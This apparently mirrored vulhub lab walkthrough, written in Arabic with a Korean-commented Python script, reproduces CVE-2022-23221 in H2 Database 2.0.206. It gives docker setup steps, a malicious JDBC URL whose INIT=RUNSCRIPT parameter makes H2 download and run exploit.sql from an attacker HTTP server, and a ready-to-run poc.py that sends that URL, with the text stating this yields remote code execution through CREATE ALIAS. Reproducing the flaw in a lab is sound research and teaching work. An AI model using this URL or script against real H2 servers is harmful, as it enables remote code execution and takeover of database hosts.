H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit

H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit

مشاركة

السيناريو
- نقوم بتهيئة بيئة H2 ضعيفة وإدخال JDBC URL خبيث إلى H2. يقوم H2 بتحليل هذا العنوان دون تحقق مناسب، ويستلم ملف sql من خادم attacker وينفذه. إذا ظهرت في سجلات خادم h2-vulnerable السلسلة “EXPLOITED” مع نتائج تنفيذ الأوامر id وwhoami وpwd، فهذا يعني أن بيئة H2 الضعيفة قد تم إعدادها، وأن ملف exploit.sql قد تم تنزيله عن بُعد وتنفيذه من خادم attacker الخارجي أثناء قيام H2 بتحليل JDBC URL الخبيث.
إعداد البيئة
```
docker compose up -d 
```
- عند تشغيل الأمر، تبدأ البيئات التالية.
- h2-vulnerable: H2 2.0.206 (إصدار ضعيف قبل التصحيح)
  - وحدة تحكم H2 على الويب: http://your-ip:8082
  - خادم TCP: tcp://your-ip:9092
- attacker: خادم HTTP
  - http://your-ip:8000 : يوفّر ملف exploit.sql
بعد إعداد البيئة، عند الدخول إلى http://your-ip:8082 تظهر صفحة H2 على الويب.

JDBC URL عادي: "jdbc:h2:mem:test"

أمر الطلب العادي

docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""

نتيجة التنفيذ
- لا يوجد أي طلب وارد إلى خادم attacker
- لا تظهر أي سجلات خاصة على خادم h2-vulnerable

يتم إدخال JDBC URL الخبيث إلى برنامج تشغيل H2 لمحاولة الاتصال بخادم attacker. توجد طريقتان لإدخال عنوان URL:
1. إدخال JDBC URL الخبيث مباشرةً في H2 Shell عبر CLI.
```
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
  -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
  -user sa \
  -password ""
```
1. تشغيل ملف PoC.
```
python3 poc.py
```

وفقًا لمعامل INIT المحدد في JDBC URL، وهو INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'، يقوم H2 بطلب (HTTP GET) ملف exploit.sql من خادم attacker وينفذه داخل قاعدة بيانات H2.
1. عند تشغيل docker logs attacker، يمكنك ملاحظة سجلات طلبات ملف exploit.sql الواردة من خادم h2-vulnerable.
```
docker logs attacker
```
1. يُرجع خادم attacker ملف exploit.sql المطلوب، وينفذ خادم h2-vulnerable ملف exploit.sql المستلَم. في هذه المرحلة، تدفع جملة CREATE ALIAS داخل النص البرمجي إلى تنفيذ كود Java، مما يؤدي إلى حدوث RCE.

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()

نتيجة لتنفيذ ملف exploit.sql، تظهر في سجلات خادم h2-vulnerable السلسلة “EXPLOITED” مع نتائج تنفيذ الأوامر id وwhoami وpwd.
يمكن التحقق من السجلات باستخدام docker logs h2-vulnerable.
```
docker logs h2-vulnerable`
```